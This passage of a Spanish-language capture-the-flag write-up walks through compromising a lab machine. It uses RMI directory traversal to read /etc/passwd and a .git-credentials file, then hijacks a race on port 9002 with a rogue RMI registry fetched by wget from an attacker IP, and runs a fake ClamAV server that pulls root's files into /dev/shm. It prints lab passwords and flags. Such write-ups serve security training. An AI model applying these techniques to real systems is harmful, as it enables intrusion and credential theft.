at java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod(RemoteObjectInvocationHandler.java:227)
at java.rmi.server.RemoteObjectInvocationHandler.invoke(RemoteObjectInvocationHandler.java:179)
at com.sun.proxy.$Proxy0.view(Unknown Source)
at com.htb.hosting.rmi.Client.main(Client.java:30)
Ahora podemos comenzar a pensar en qué hacer a continuación… El campo asdf
se agrega al nombre del archivo… Entonces, realicemos un ataque de navegación de directorios:
bash-4.4$ java com.htb.hosting.rmi.Client view 1337 ../../etc/hosts
java com.htb.hosting.rmi.Client view 1337 ../../etc/hosts
127.0.0.1 localhost webhosting.htb registry.webhosting.htb registrytwo
127.0.1.1 rpc
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
bash-4.4$ java com.htb.hosting.rmi.Client view 1337 ../../etc/hostname
java com.htb.hosting.rmi.Client view 1337 ../../etc/hostname
registry
bash-4.4$ java com.htb.hosting.rmi.Client view 1337 ../../etc/passwd
java com.htb.hosting.rmi.Client view 1337 ../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
clamav:x:111:113::/var/lib/clamav:/bin/false
rmi-service:x:999:998::/home/rmi-service:/bin/false
developer:x:1001:1001:,,,:/home/developer:/bin/bash
_laurel:x:998:997::/var/log/laurel:/bin/false
Genial, tenemos la capacidad de leer archivos de la máquina. Usemos list
:
bash-4.4$ java com.htb.hosting.rmi.Client list 1337 ../../
java com.htb.hosting.rmi.Client list 1337 ../../
..
initrd.img
opt
sbin
snap
root
var
proc
mnt
vmlinuz
vmlinuz.old
boot
tmp
initrd.img.old
cdrom
home
lib64
quarantine
run
dev
sys
etc
media
usr
srv
lib
sites
lost+found
bin
bash-4.4$ java com.htb.hosting.rmi.Client list 1337 ../../home
java com.htb.hosting.rmi.Client list 1337 ../../home
..
developer
bash-4.4$ java com.htb.hosting.rmi.Client list 1337 ../../home/developer
java com.htb.hosting.rmi.Client list 1337 ../../home/developer
..
.cache
.bash_logout
reg.jar
.bashrc
.bash_history
.git-credentials
user.txt
start.sh
.gnupg
.profile
.vimrc
.local
Genial, tenemos algunos archivos del usuario developer
, el que se llama .git-credentials
podría almacenar algunas contraseñas en texto claro:
bash-4.4$ java com.htb.hosting.rmi.Client view 1337 ../../home/developer/.git-credentials
<ent view 1337 ../../home/developer/.git-credentials
https://irogir:qybWiMTRg0sIHz4beSTUzrVIl7t3YsCj9@github.com
¡Ahí está! Y esta contraseña funciona en SSH:
$ ssh developer@10.10.11.223
developer@10.10.11.223's password:
developer@registry:~$ cat user.txt
371e1bc3c1d3673c70164fe27e7bdce0
Escalada de privilegios
Si buscamos archivos JAR, veremos dos que son relevantes:
developer@registry:~$ find / -name \*.jar 2>/dev/null
/opt/registry.jar
/usr/share/ca-certificates-java/ca-certificates-java.jar
/usr/share/vhost-manage/includes/quarantine.jar
/usr/share/apport/testsuite/crash.jar
/usr/share/apport/apport.jar
/usr/share/java/java-atk-wrapper.jar
/usr/share/java/libintl.jar
/usr/lib/jvm/java-17-openjdk-amd64/lib/jrt-fs.jar
/usr/lib/jvm/java-11-openjdk-amd64/lib/jrt-fs.jar
registry.jar
es el servicio RMI (FileService
yQuarantineService
)quarantine.jar
es un cliente RMI que se conecta aregistry.jar
y configura ClamAV
Podemos descargarlos y descompilarlos en javadecompilers.com, como antes.
El registry QuarantineService
solo expone un método llamado getConfiguration
, que en realidad es muy simple:
/*
* Decompiled with CFR 0.150.
*/
package com.htb.hosting.rmi.quarantine;
import com.htb.hosting.rmi.FileServiceConstants;
import com.htb.hosting.rmi.quarantine.QuarantineConfiguration;
import com.htb.hosting.rmi.quarantine.QuarantineService;
import java.io.File;
import java.rmi.RemoteException;
import java.util.logging.Logger;
public class QuarantineServiceImpl
implements QuarantineService {
private static final Logger logger = Logger.getLogger(QuarantineServiceImpl.class.getSimpleName());
private static final QuarantineConfiguration DEFAULT_CONFIG = new QuarantineConfiguration(new File("/root/quarantine"), FileServiceConstants.SITES_DIRECTORY, "localhost", 3310, 1000);
@Override
public QuarantineConfiguration getConfiguration() throws RemoteException {
logger.info("client fetching configuration");
return DEFAULT_CONFIG;
}
}
El archivo quarantine.jar
contiene esta función main
:
/*
* Decompiled with CFR 0.150.
*/
package com.htb.hosting.rmi;
import com.htb.hosting.rmi.Client;
public class Main {
public static void main(String[] args) {
try {
new Client().scan();
}
catch (Throwable e) {
Client.out(1024, "an unknown error occurred", new Object[0]);
e.printStackTrace();
}
}
}
Donde new Client().scan
hace lo siguiente:
// ...
public class Client
implements LogConstants {
private final ClamScan clamScan;
private final QuarantineConfiguration config;
public Client() throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("localhost", 9002);
QuarantineService server = (QuarantineService)registry.lookup("QuarantineService");
this.config = server.getConfiguration();
this.clamScan = new ClamScan(this.config);
}
public void scan() {
File[] documentRoots = this.config.getMonitorDirectory().listFiles();
if (documentRoots == null || documentRoots.length == 0) {
Client.out(256, "exiting", new Object[0]);
return;
}
Client.out("initialize scan for %d domains", documentRoots.length);
for (File documentRoot : documentRoots) {
this.doScan(documentRoot);
}
}
Y doScan
es otro método que se conecta a ClamAV a través de un socket en el puerto 3310 para enviar algunos comandos:
private void doScan(File file) {
block12: {
block11: {
if (!file.isDirectory()) break block11;
File[] files = file.listFiles();
if (files == null) break block12;
for (File f : files) {
this.doScan(f);
}
break block12;
}
try {
Path path = file.toPath();
try {
if (Files.isSymbolicLink(path)) {
Client.out(16, "skipping %s", file.getAbsolutePath());
return;
}
}
catch (Exception e) {
Client.out(16, "unknown error occurred when processing %s\n", file);
return;
}
ScanResult scanResult = this.clamScan.scanPath(path.toAbsolutePath().toString());
switch (scanResult.getStatus()) {
case ERROR: {
Client.out(768, "there was an error when checking %s", file.getAbsolutePath());
break;
}
case FAILED: {
Client.out(32, "%s was identified as a potential risk. applying quarantine ...", file.getAbsolutePath());
this.quarantine(file);
break;
}
case PASSED: {
Client.out(0, "%s status ok", file.getAbsolutePath());
}
}
}
catch (IOException e) {
Client.out(512, "io error processing %s", file.getAbsolutePath());
}
}
}
private void quarantine(File srcFile) {
File destFolder = new File(this.config.getQuarantineDirectory(), "quarantine-run-" + LocalDateTime.now());
destFolder.mkdirs();
try {
File dstFile = new File(destFolder, this.getQuarantineFileName(srcFile));
Files.copy(srcFile.toPath(), dstFile.toPath(), LinkOption.NOFOLLOW_LINKS, StandardCopyOption.REPLACE_EXISTING);
Client.out("%s was successfully scanned", srcFile.getAbsolutePath());
}
catch (IOException e) {
Client.out(512, "io error processing %s", srcFile.getAbsolutePath());
}
Si el resultado del escaneo es FAILED
, entonces los archivos se ponen en cuarentena en un directorio.
Si ejecutamos pspy
, veremos que root
está ejecutando el archivo quarantine.jar
periódicamente, pero también, un usuario nombrado rmi-service
está reiniciando el archivo registry.jar
:
CMD: UID=0 PID=23959 | systemctl restart registry.service
CMD: UID=0 PID=23958 | /bin/sh -c systemctl restart registry.service
CMD: UID=0 PID=23957 | /usr/sbin/CRON -f
CMD: UID=0 PID=23956 | /usr/sbin/CRON -f
CMD: UID=0 PID=23955 | /usr/sbin/CRON -f
CMD: UID=0 PID=23965 | sleep 10
CMD: UID=0 PID=23964 | /bin/bash /root/tomcat-app/reset.sh
CMD: UID=0 PID=23963 | /bin/sh -c for i in {1..6}; do /bin/bash /root/tomcat-app/reset.sh & sleep 10; done
CMD: UID=0 PID=23961 | /bin/sh -c /bin/bash /root/check-vhosts.sh
CMD: UID=0 PID=23966 | /bin/bash /root/check-vhosts.sh
CMD: UID=0 PID=23968 | /usr/local/sbin/vhosts-manage -m quarantine
CMD: UID=0 PID=23967 | /bin/bash /root/tomcat-app/reset.sh
CMD: UID=0 PID=23972 | /usr/bin/java -jar /usr/share/vhost-manage/includes/quarantine.jar
CMD: UID=0 PID=23974 | /bin/bash /root/tomcat-app/reset.sh
CMD: UID=0 PID=23997 | runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v2.task/moby/b78dfd4ba83d3367349e0c5e2b8004198f2d24db33f457e3656eca5443e0448d/log.json --log-format json exec --process /tmp/runc-process1633812451 --console-socket /tmp/pty2941058999/pty.sock --detach --pid-file /run/containerd/io.containerd.runtime.v2.task/moby/b78dfd4ba83d3367349e0c5e2b8004198f2d24db33f457e3656eca5443e0448d/27f1f86d66bfccf902071c0126ffcb9c3c4f62388f5ad386bfdebd1ccc6c6130.pid b78dfd4ba83d3367349e0c5e2b8004198f2d24db33f457e3656eca5443e0448d
CMD: UID=0 PID=24005 | runc init
CMD: UID=0 PID=24007 | runc init
CMD: UID=0 PID=24024 | /lib/systemd/systemd-udevd
CMD: UID=0 PID=24023 | /lib/systemd/systemd-udevd
CMD: UID=0 PID=24022 | /lib/systemd/systemd-udevd
CMD: UID=0 PID=24021 | /lib/systemd/systemd-udevd
CMD: UID=0 PID=24020 | /lib/systemd/systemd-udevd
CMD: UID=0 PID=24019 | /lib/systemd/systemd-udevd
CMD: UID=0 PID=24018 | /lib/systemd/systemd-udevd
CMD: UID=0 PID=24017 | /lib/systemd/systemd-udevd
CMD: UID=0 PID=24016 | /lib/systemd/systemd-udevd
CMD: UID=999 PID=24015 | /usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar /opt/registry.jar
CMD: UID=0 PID=24031 |
CMD: UID=0 PID=24032 | /lib/systemd/systemd-udevd
Aquí tenemos una pequeña ventana de tiempo para ejecutar nuestro registro RMI malicioso en el puerto 9002, para que el registry.jar
legítimo ya no sea capaz de escuchar en ese puerto. Como resultado, quarantine.jar
se conectará a nuestro registro RMI y podremos establecer una configuración arbitraria para ClamAV.
Por ejemplo, lo que haremos es establecer el host de ClamAV en nuestra dirección IP de la máquina de atacante, el directorio de cuarentena en /dev/shm
(accesibles por todos) y el directorio para escanear será /root
:
package com.htb.hosting.rmi.quarantine;
import java.io.File;
import java.rmi.RemoteException;
public class QuarantineServiceImpl implements QuarantineService {
@Override
public QuarantineConfiguration getConfiguration() throws RemoteException {
return new QuarantineConfiguration(new File("/dev/shm"), new File("/root"), "10.10.17.44", 3310, 1000);
}
}
Esta vez, tenemos a Java 17 en la máquina:
developer@registry:/tmp$ java -version
openjdk version "17.0.7" 2023-04-18
OpenJDK Runtime Environment (build 17.0.7+7-Ubuntu-0ubuntu118.04)
OpenJDK 64-Bit Server VM (build 17.0.7+7-Ubuntu-0ubuntu118.04, mixed mode, sharing)
Entonces, usemos otro contenedor de Docker con esta versión específica de Java para compilar el archivo JAR (que en realidad es un archivo ZIP):
$ tree
.
├── com
│ └── htb
│ └── hosting
│ └── rmi
│ ├── quarantine
│ │ ├── QuarantineConfiguration.java
│ │ ├── QuarantineServiceImpl.java
│ │ └── QuarantineService.java
│ └── Server.java
└── META-INF
└── MANIFEST.MF
6 directories, 5 files
$ cat META-INF/MANIFEST.MF
Main-Class: com.htb.hosting.rmi.Server
$ docker run -it --rm -v "$PWD:/home/rocky" openjdk:17 bash
Unable to find image 'openjdk:17' locally
17: Pulling from library/openjdk
38a980f2cc8a: Pull complete
de849f1cfbe6: Pull complete
a7203ca35e75: Pull complete
Digest: sha256:528707081fdb9562eb819128a9f85ae7fe000e2fbaeaf9f87662e7b3f38cb7d8
Status: Downloaded newer image for openjdk:17
bash-4.4# cd /home/rocky/
bash-4.4# javac com/htb/hosting/rmi/Server.java
bash-4.4# javac com/htb/hosting/rmi/quarantine/*.java
bash-4.4# exit
exit
$ zip -r registry.jar META-INF com/htb/hosting/rmi/Server.class com/htb/hosting/rmi/quarantine/*.class
adding: META-INF/ (stored 0%)
adding: META-INF/MANIFEST.MF (stored 0%)
adding: com/htb/hosting/rmi/Server.class (deflated 45%)
adding: com/htb/hosting/rmi/quarantine/QuarantineConfiguration.class (deflated 50%)
adding: com/htb/hosting/rmi/quarantine/QuarantineService.class (deflated 37%)
adding: com/htb/hosting/rmi/quarantine/QuarantineServiceImpl.class (deflated 44%)
Ahora estamos listos para cargar el archivo JAR a la máquina y explotar la “condición de carrera” para ocupar el puerto 9002 con nuestro registro RMI:
developer@registry:/tmp$ wget -qO .registry.jar 10.10.17.44:8000/registry.jar
developer@registry:/tmp$ java -jar .registry.jar
Exception in thread "main" java.rmi.server.ExportException: Port already in use: 9002; nested exception is:
java.net.BindException: Address already in use
at java.rmi/sun.rmi.transport.tcp.TCPTransport.listen(TCPTransport.java:346)
at java.rmi/sun.rmi.transport.tcp.TCPTransport.exportObject(TCPTransport.java:243)
at java.rmi/sun.rmi.transport.tcp.TCPEndpoint.exportObject(TCPEndpoint.java:415)
at java.rmi/sun.rmi.transport.LiveRef.exportObject(LiveRef.java:147)
at java.rmi/sun.rmi.server.UnicastServerRef.exportObject(UnicastServerRef.java:235)
at java.rmi/sun.rmi.registry.RegistryImpl.setup(RegistryImpl.java:223)
at java.rmi/sun.rmi.registry.RegistryImpl.<init>(RegistryImpl.java:208)
at java.rmi/java.rmi.registry.LocateRegistry.createRegistry(LocateRegistry.java:203)
at com.htb.hosting.rmi.Server.main(Server.java:14)
Caused by: java.net.BindException: Address already in use
at java.base/sun.nio.ch.Net.bind0(Native Method)
at java.base/sun.nio.ch.Net.bind(Net.java:555)
at java.base/sun.nio.ch.Net.bind(Net.java:544)
at java.base/sun.nio.ch.NioSocketImpl.bind(NioSocketImpl.java:643)
at java.base/java.net.ServerSocket.bind(ServerSocket.java:388)
at java.base/java.net.ServerSocket.<init>(ServerSocket.java:274)
at java.base/java.net.ServerSocket.<init>(ServerSocket.java:167)
at java.rmi/sun.rmi.transport.tcp.TCPDirectSocketFactory.createServerSocket(TCPDirectSocketFactory.java:45)
at java.rmi/sun.rmi.transport.tcp.TCPEndpoint.newServerSocket(TCPEndpoint.java:673)
at java.rmi/sun.rmi.transport.tcp.TCPTransport.listen(TCPTransport.java:335)
... 8 more
developer@registry:/tmp$ while true; do java -jar .registry.jar 2>/dev/null; done
[+] Bound to 9002
Ahora podemos fingir un servidor de ClamAV, y se analizarán los archivos de /root
. Si decimos que esos archivos escaneados son maliciosos, serán puestos en cuarentena en /dev/shm
. Usemos nc
:
$ nc -nlvp 3310
Listening on 0.0.0.0 3310
Connection received on 10.10.11.223 58580
zSCAN /root/.docker/buildx/.lock
El problema es que nc
cierra la conexión. En su lugar, podemos escribir un servidor de socket simple con Python y enviar siempre FOUND
para decir que el archivo es malicioso:
#!/usr/bin/env python3
import socketserver
class MyTCPHandler(socketserver.BaseRequestHandler):
def handle(self):
self.data = self.request.recv(1024).strip()
print(self.data)
self.request.sendall(b'filename: asdf FOUND\0')
with socketserver.TCPServer(('0.0.0.0', 3310), MyTCPHandler) as server:
server.serve_forever()
Las respuestas de ClamAV se pueden encontrar en la documentación (página 19).
Después de un poco de tiempo, la máquina comenzará a usar zSCAN
con todos los archivos guardados en /root
y guardándolos en /dev/shm
:
$ python3 socket_server.py
b'zSCAN /root/.docker/buildx/.lock\x00'
b'zSCAN /root/.docker/buildx/current\x00'
b'zSCAN /root/.docker/.buildNodeID\x00'
b'zSCAN /root/.docker/.token_seed.lock\x00'
b'zSCAN /root/.docker/config.json\x00'
b'zSCAN /root/.docker/.token_seed\x00'
b'zSCAN /root/.lesshst\x00'
b'zSCAN /root/check-vhosts.sh\x00'
b'zSCAN /root/.cache/motd.legal-displayed\x00'
b'zSCAN /root/docker-compose-reg.yml\x00'
b'zSCAN /root/.ssh/id_rsa\x00'
b'zSCAN /root/.ssh/authorized_keys\x00'
b'zSCAN /root/.ssh/id_rsa.pub\x00'
b'zSCAN /root/root.txt\x00'
b'zSCAN /root/nginx/default\x00'
b'zSCAN /root/.git-credentials\x00'
b'zSCAN /root/tomcat-app/context.xml\x00'
b'zSCAN /root/tomcat-app/Dockerfile\x00'
b'zSCAN /root/tomcat-app/reset.sh\x00'
b'zSCAN /root/tomcat-app/src-1.0-SNAPSHOT.war\x00'
b'zSCAN /root/tomcat-app/docker-compose.yml\x00'
b'zSCAN /root/tomcat-app/dump.sql\x00'
b'zSCAN /root/tomcat-app/hosting.ini\x00'
b'zSCAN /root/tomcat-app/hosting-default.ini\x00'
b'zSCAN /root/.httpie/config.json\x00'
b'zSCAN /root/docker-registry/docker-compose.yml\x00'
b'zSCAN /root/docker-registry/data/docker/registry/v2/blobs/sha256/9d/9d5bcc17fed815c4060b373b2a8595687502925829359dc244dd4cdff777a96c/data\x00'
b'zSCAN /root/docker-registry/data/docker/registry/v2/blobs/sha256/9d/9d19db0eb2360b76dee4b470a975323f5f6cc4905f8f90f65f63d757340907e9/data\x00'
b'zSCAN /root/docker-registry/data/docker/registry/v2/blobs/sha256/1a/1acc6f88f783bd069013a54361591a56b7b1b8701596a96c12c63b673a280319/data\x00'
...
Hay muchos archivos interesantes. Como antes, probablemente podemos encontrar una contraseña en texto claro en .git-credentials
. Encontremos el archivo:
developer@registry:/tmp$ find /dev/shm -name \*git-credentials\*
/dev/shm/quarantine-run-2023-07-27T20:28:07.111587112/_root_.git-credentials
/dev/shm/quarantine-run-2023-07-27T20:27:06.809494181/_root_.git-credentials
/dev/shm/quarantine-run-2023-07-27T20:26:07.118229480/_root_.git-credentials
Genial, ahí está, ahora somos root
:
developer@registry:/tmp$ cat /dev/shm/quarantine-run-2023-07-27T20:28:07.111587112/_root_.git-credentials
https://admin:52nWqz3tejiImlbsihtV@github.com
developer@registry:/tmp$ su root
Password:
root@registry:/tmp# cd
root@registry:~# cat root.txt
e4408c4688226b2e482959f1e73f9549